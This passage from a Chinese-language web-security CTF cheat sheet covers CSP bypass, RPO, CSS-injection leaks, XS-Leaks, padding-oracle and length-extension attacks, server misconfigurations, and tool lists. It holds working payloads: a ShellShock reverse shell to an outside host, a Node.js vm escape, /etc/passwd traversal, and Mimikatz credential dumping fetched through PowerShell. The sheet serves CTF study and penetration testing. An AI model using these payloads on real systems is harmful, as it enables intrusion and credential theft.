`
- Bypassing CSP unsafe-eval via underscore templates
- `
<% alert(1) %>
`
- 0CTF 2018 - h4xors.club2
- google analytics ea
- ea is used to log actions and can contain arbitrary string
- Google CTF 2018 - gcalc2
### Online Encoding / Decoding
- http://monyer.com/demo/monyerjs/
### JSFuck
- http://www.jsfuck.com/
### aaencode / aadecode
- http://utf-8.jp/public/aaencode.html
- https://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html
## RPO
- http://example.com/a%2findex.php
- 瀏覽器會把`a%2findex.php`當成一個檔案
- Web Server則會正常解析成`a/index.php`
- 所以當使用**相對路徑**載入css時,就可以透過這種方式讓瀏覽器解析到其他層目錄下的檔案
- 如果該檔案內容可控,則有機會XSS
- 舉例:
- `/test.php`中有`
`
- 另有`/1/index.php`給`?query=`參數,會直接輸出該參數內容
- 訪問`/1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php`就會讓背景變紅色
- Server: `/test.php`
- Browser: `/1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php`
- CSS會載入`/1/?query={}*{background-color:red}/../../1/`
- CSS語法容錯率很高
## CSS Injection
- CSS可控時,可以Leak Information
- Example:
- leak `
`
- `input[name=csrf][value^="2"]{background: url(http://kaibro.tw/2)}`
- `input[name=csrf][value^="2e"]{background: url(http://kaibro.tw/2e)}`
- ...
- [SECCON CTF 2018 - GhostKingdom](https://github.com/w181496/CTF/tree/master/seccon2018-qual/GhostKingdom)
## XS-Leaks
- Cross-Site Browser Side channel attack
- [xsleaks wiki](https://github.com/xsleaks/xsleaks/wiki/Browser-Side-Channels)
### Frame count
- 不同狀態有不同數量的frame
- 用 `window.frames.length` 來判斷
- 狀態A => frame count = x
- 狀態B => frame count = y
- x != y
- e.g. [Facebook CTF - Secret Note Keeper](https://github.com/w181496/CTF/tree/master/fbctf2019/secret_note_keeper)
- 找到結果 => frame count >= 1
- 沒找到 => frame count = 0
### Timing
- 不同狀態有不同回應時間
- Time(有結果) > Time(沒結果)
- 有結果時,會需要載入比較多東西
### XSS Filter
- iframe正常訪問,會觸發一次onload事件
- 在iframe.src尾,加上`#`做請求,正常不會再觸發onload事件
- 但如果原本頁面被filter block,則會有第二次onload
- 第二次請求變成`chrome-error://chromewebdata/#`
- 可以判斷頁面狀態
- 正常 => 1次onload
- 被Blocked => 2次onload
- 也能用`history.length`判斷
- e.g. 35C3 - filemanager
### HTTP Cache
- 清空目標 Cache
- 送 POST 請求
- 查詢內容
- `
`
- 檢查是否 Cache 該內容
- Referrer 設超長,然後訪問該資源
- 有 cache => 顯示資源
- 沒 cache => 抓不到資源
# 密碼學
## PRNG
- php 7.1.0後 `rand()`和`srand()`已經等同`mt_rand()`和`mt_srand()`
- 測試結果:https://3v4l.org/PIUEo
- php > 4.2.0 會自動對`srand()`和`mt_srand()`播種
- 只進行一次seed,不會每次`rand()`都seed
- 可以通過已知的random結果,去推算隨機數種子,然後就可以推算整個隨機數序列
- 實際應用上可能會碰到連上的不是同個process,可以用`Keep-Alive
`來確保連上同個php process(只會seed一次)
- 7.1以前`rand()`使用libc random(),其核心為:`
state[i] = state[i-3] + state[i-31]`
- 所以只要有31個連續隨機數就能預測接下來的隨機數
- 後來`rand()` alias成`mt_rand()`,採用的是`Mersenne Twister`算法
- Example: HITCON 2015 - Giraffe’s Coffee
## ECB mode
### Cut and Paste Attack
- 每個Block加密方式都一樣,所以可以把Block隨意排列
- 舉例: `user=kaibro;role=user`
- 假設Block長度為8
- 構造一下user: (`|`用來區隔Block)
- `user=aaa|admin;ro|le=user`
- `user=aaa|aa;role=|user`
- 排列一下:(上面每塊加密後的Block都已知)
- `user=aaa|aa;role=|admin;ro`
- Example: AIS3 2017 pre-exam
### Encryption Oracle Attack
- `ECB(K, A + B + C)`的運算結果可知
- B可控
- K, A, C未知
- C的內容可以透過以下方法爆出來:
- 找出最小的長度L
- 使得將B改成L個a,該段pattern剛好重複兩次
- `...bbbb bbaa aaaa aaaa cccc ...`
- `...???? ???? 5678 5678 ???? ...`
- 改成L-1個a,可得到`ECB(K, "aa...a" + C[0])`這個Block的內容
- C[0]可爆破求得,後面也依此類推
- 常見發生場景:Cookie
## CBC mode
### Bit Flipping Attack
- 假設IV為A、中間值為B (Block Decrypt後結果)、明文為C
- CBC mode解密時,`A XOR B = C`
- 若要使輸出明文變`X`
- 修改A為`A XOR C XOR X`
- 則原本式子變成`(A XOR C XOR X) XOR B = X`
### Padding Oracle Attack
- `PKCS#7`
- Padding方式:不足x個Byte,就補x個x
- 例如:Block長度8
- `AA AA AA AA AA AA AA 01`
- `AA AA AA AA AA AA 02 02`
- `AA AA AA AA AA 03 03 03`
- ...
- `08 08 08 08 08 08 08 08`
- 在常見情況下,如果解密出來發現Padding是爛的,會噴Exception或Error
- 例如:HTTP 500 Internal Server Error
- 須注意以下這類情況,不會噴錯:
- `AA AA AA AA AA AA 01 01`
- `AA AA 02 02 02 02 02 02`
- 原理:
- CBC mode下,前一塊密文會當作當前這塊的IV,做XOR
- 如果構造`A||B`去解密 (A, B是密文Block)
- 此時,A會被當作B的IV,B會被解成`D(B) XOR A`
- 可以透過調整A,使得Padding變合法,就可以得到`D(B)`的值
- 例如:要解最後1 Byte
- 想辦法讓最後解出來變成`01`結尾
- 運氣不好時,可能剛好碰到`02 02`結尾,可以調整一下A倒數第2 Byte
- `D(B)[-1] XOR A[-1] = 01`
- `D(B)[-1] = A[-1] XOR 01`
- 有最後1 Byte就可以依此類推,調整倒數第2 Byte
- `D(B) XOR C`就能得到明文 (C為前一塊真正的密文)
## Length Extension Attack
- 很多hash算法都可能存在此攻擊,例如`md5`, `sha1`, `sha256`...
- 主要是因為他們都使用Merkle-Damgard hash construction
- 會依照64 Byte分組,不足會padding
- 1 byte的`0x80`+一堆`0x00`+8 bytes的`長度`
- IV是寫死的,且每一組輸出結果會當下一組的輸入
- 攻擊條件: (這裏md5換成sha1, sha256...也通用)
- 已知`md5(secret+message)`
- 已知`secret長度`
- 已知`message內容`
- 符合三個條件就能構造`md5(secret+message+padding+任意字串)`
- 工具 - hashpump
- 基本用法:
1. 輸入`md5(secret+message)`的值
2. 輸入`message`的值
3. 輸入`secert長度`
4. 輸入要加在後面的字串
5. 最後會把`md5(secret+message+padding+任意字串)`和`message+padding+任意字串`噴給你
# 其它
- Information leak
- .git / .svn
- robots.txt
- /.well-known
- .DS_Store
- .htaccess
- .pyc
- package.json
- server-status
- crossdomain.xml
- admin/ manager/ login/ backup/ wp-login/ phpMyAdmin/
- xxx.php.bak / www.tar.gz / .xxx.php.swp / xxx.php~ / xxx.phps
- /WEB-INF/web.xml
- 文件解析漏洞
- Apache
- shell.php.ggininder
- shell.php%0a
- httpd 2.4.0 to 2.4.29
- CVE-2017-15715
- IIS
- IIS < 7
- a.asp/user.jpg
- user.asp;aa.jpg
- Nginx
- nginx < 8.03
- `cgi.fix_pathinfo=1`
- Fast-CGI開啟狀況下
- kaibro.jpg: `');?>`
- 訪問`kaibro.jpg/.php`生成shell.php
- AWS常見漏洞
- S3 bucket權限配置錯誤
- nslookup判斷
- `nslookup 87.87.87.87`
- `s3-website-us-west-2.amazonaws.com.`
- 確認bucket
- 訪問`bucketname.s3.amazonaws.com`
- 成功會返回bucket XML資訊
- awscli工具
- 列目錄 `aws s3 ls s3://bucketname/ --region regionname`
- 下載 `aws sync s3://bucketname/ localdir --region regionname`
- metadata
- http://169.254.169.254/latest/meta-data/
- Tool
- https://andresriancho.github.io/nimbostratus/
- 常見Port服務
- http://packetlife.net/media/library/23/common_ports.pdf
- `php -i | grep "Loaded Configuration File"`
- 列出php.ini路徑
- `curl -i -X OPTIONS 'http://evil.com/'`
- ShellShock
- `() { :; }; echo vulnerable`
- `() { :a; }; /bin/cat /etc/passwd`
- `() { :; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'`
- X-forwarded-for偽造來源IP
- DNS Zone Transfer
- `dig @1.2.3.4 abc.com axfr`
- DNS Server: `1.2.3.4`
- Test Domain: `abc.com`
- IIS 短檔名列舉
- Windows 8.3 格式: `administrator` 可以簡寫成 `admini~1`
- 原理:短檔名存在或不存在,伺服器回應內容不同
- Tool: https://github.com/irsdl/IIS-ShortName-Scanner
- `java -jar iis_shortname_scanner.jar 2 20 http://example.com/folder/`
- NodeJS unicode failure
- 內部使用UCS-2編碼
- `NN` => `..`
- `N` 即 `\xff\x2e`
- 轉型時捨棄第一個Byte
- 特殊的CRLF Injection繞過
- `%E5%98%8A`
- 原始的Unicode碼為`U+560A`
- raw bytes: `0x56`, `0x0A`
- MySQL utf8 v.s. utf8mb4
- MySQL utf8編碼只支援3 bytes
- 若將4 bytes的utf8mb4插入utf8中,在non strict模式下會被截斷
- CVE-2015-3438 WordPress Cross-Site Scripting Vulnerability
- Nginx internal繞過
- `X-Accel-Redirect`
- [Document](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/)
- Example:
- Olympic CTF 2014 - CURLing
- [MidnightSun CTF 2019 - bigspin](https://balsn.tw/ctf_writeup/20190406-midnightsunctf/#bigspin)
- Nginx目錄穿越漏洞
- 常見於Nginx做Reverse Proxy的狀況
```
location /files {
alias /home/
}
```
- 因為`/files`沒有加上結尾`/`,而`/home/`有
- 所以`/files../`可以訪問上層目錄
- Nginx add_header
- 預設當 repsponse 是 200, 201, 204, 206, 301, 302, 303, 304, 307, or 308 時,`add_header`才會設定 header
- e.g. [Codegate 2020 - CSP](https://balsn.tw/ctf_writeup/20200208-codegatectf2020quals/#csp)
- Javascript大小寫特性
- `"ı".toUpperCase() == 'I'`
- `"ſ".toUpperCase() == 'S'`
- `"K".toLowerCase() == 'k'`
- [Reference](https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html)
- Node.js目錄穿越漏洞
- CVE-2017-14849
- 影響: 8.5.0版
- `/static/../../../foo/../../../../etc/passwd`
- Node.js vm escape
- `const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('whoami').toString()`
- CONFidence CTF 2020 - TempleJS
- Only allow ```/^[a-zA-Z0-9 ${}`]+$/g```
- ``` Function`a${`return constructor`}{constructor}` `${constructor}` `return flag` `` ```
- Apache Tomcat Session操縱漏洞
- 預設session範例頁面`/examples/servlets /servlet/SessionExample`
- 可以直接對Session寫入
- polyglot image+.htaccess
- XBM格式有定義在`exif_imagetype()`中
- 符合`.htaccess`格式
- Insomnihack CTF
```
#define gg_width 1337
#define gg_height 1337
AddType application/x-httpd-php .asp
```
- AutoBinding / Mass Assignment
- [Mass_Assignment_Cheat_Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Mass_Assignment_Cheat_Sheet.md)
- Spring MVC
- `@ModelAttribute`
- 會將Client端傳來的參數(GET/POST)綁定到指定Object中,並自動將此Object加到ModelMap中
- Example
```java
@RequestMapping(value = "/home", method = RequestMethod.GET)
public String home(@ModelAttribute User user, Model model) {
if (showSecret){
model.addAttribute("firstSecret", firstSecret);
}
return "home";
}
```
- Example 2:
- [justiceleague](https://github.com/GrrrDog/ZeroNights-HackQuest-2016)
- Example 3: [VolgaCTF 2019 - shop](https://github.com/w181496/CTF/tree/master/volgactf2019_quals/shop)
- tcpdump
- `-i` 指定網卡,不指定則監控所有網卡
- `-s` 默認只抓96bytes,可以-s指定更大數值
- `-w` 指定輸出檔
- `host` 指定主機(ip or domain)
- `dst`, `src` 來源或目的端
- `port`指定端口
- `tcp`, `udp`, `icmp` 指定協議
- example
- 來源192.168.1.34且目的端口為80
- `tcpdump -i eth0 src 192.168.1.34 and dst port 80`
- 來源192.168.1.34且目的端口是22或3389
- `tcpdump -i eth0 'src 192.168.1.34 and (dst port 22 or 3389)'`
- 保存檔案,可以後續用wireshark分析
- `tcpdump -i eth0 src kaibro.tw -w file.cap`
# Tool & Online Website
## Information gathering
- http://pentest-tools.com/
- https://www.shodan.io/
- https://www.zoomeye.org/
- https://censys.io
- https://crt.sh/
- http://webscan.cc/
- https://x.threatbook.cn/
- https://dnsdumpster.com/
- https://www.domainiq.com/reverse_whois
- https://www.yougetsignal.com/tools/web-sites-on-web-server/
- https://www.robtex.com/dns-lookup/
- https://phpinfo.me/bing.php
- https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
- https://github.com/laramies/theHarvester
- https://github.com/drwetter/testssl.sh
- https://github.com/urbanadventurer/WhatWeb
- https://buckets.grayhatwarfare.com/
## Hash Crack
- http://cmd5.com
- https://somd5.com/
- https://crackstation.net/
- https://hashkiller.co.uk/
## 其它
- https://3v4l.org/
- php eval
- https://github.com/denny0223/scrabble
- git
- https://github.com/lijiejie/ds_store_exp
- .DS_Store
- https://github.com/kost/dvcs-ripper
- git / svn / hg / cvs ...
- http://www.factordb.com/
- unicode converter
- https://www.branah.com/unicode-converter
- PHP混淆 / 加密
- http://enphp.djunny.com/
- http://www.phpjm.net/
- https://github.com/PowerShellMafia/PowerSploit
- https://github.com/swisskyrepo/PayloadsAllTheThings/
- http://xssor.io
- https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt
- XSS Payloads
- DNSLog
- http://ceye.io
- https://www.t00ls.net/dnslog.html
- http://dnsbin.zhack.ca/
- http://requestbin.net/dns
- DNS rebinding
- rebind.network
- ```
# butit still works
A.192.168.1.1.forever.rebind.network
#alternate between localhost and 10.0.0.1 forever
A.127.0.0.1.1time.10.0.0.1.1time.repeat.rebind.network
#first respond with 192.168.1.1 then 192.168.1.2. Now respond 192.168.1.3forever.
A.192.168.1.1.1time.192.168.1.2.2times.192.168.1.3.forever.rebind.network
#respond with 52.23.194.42 the first time, then whatever `whonow--default-address`
# isset to forever after that (default: 127.0.0.1)
A.52.23.194.42.1time.rebind.network
```
- rbndr.us
- `36573657.7f000001.rbndr.us`
- https://r12a.github.io/apps/encodings/
- Encoding converter
- http://tool.leavesongs.com/
- Mimikatz
- `mimikatz.exe privilege::debug sekurlsa::logonpasswords full exit >> log.txt`
- powershell 無文件: `powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"`
- WASM
- https://wasdk.github.io/WasmFiddle/
- https://webassembly.studio/
- https://github.com/WebAssembly/wabt
----
# Contributing
Welcome to open Pull Request
OR
[](https://www.buymeacoffee.com/b4wKcIZ)